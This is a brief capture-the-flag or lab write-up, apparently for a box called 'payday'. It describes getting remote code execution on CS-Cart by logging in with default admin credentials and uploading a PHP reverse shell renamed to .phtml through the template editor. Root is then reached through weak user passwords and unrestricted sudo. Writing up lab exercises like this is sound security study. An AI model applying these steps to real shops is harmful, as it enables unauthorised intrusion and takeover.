CS-Cart -> RCE

Port 80 was running InternetShop CS-Cart, which looks really vulnerable:

There are loads of exploits for this:

$ searchsploit cs-cart
----------------------------------------------------------- ---------------------------------
 Exploit Title                                             |  Path

CS-Cart 4.3.10 - XML External Entity Injection             | php/webapps/40770.txt
----------------------------------------------------------- ---------------------------------

We can take a look at the authenticated RCE, since we can login using admin:admin.

$ cat 48891.txt
get PHP shells from
http://pentestmonkey.net/tools/web-shells/php-reverse-shell
edit IP && PORT
Upload to file manager
change the extension from .php to .phtml
visit http://[victim]/skins/shell.phtml -> Profit. ...! 

We can then access admin.php with the same credentials:

Head to 'Template Editor' and upload the file that we want.

Then, just run this:

$ curl http://192.168.157.39/skins/rev.phtml

And we would get a reverse shell:

Privilege Escalation

Weak Creds -> Root

We can su to the user patrick using the password patrick. This user can run sudo for everything:

patrick@payday:/home$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for patrick:
User patrick may run the following commands on this host:
    (ALL) ALL
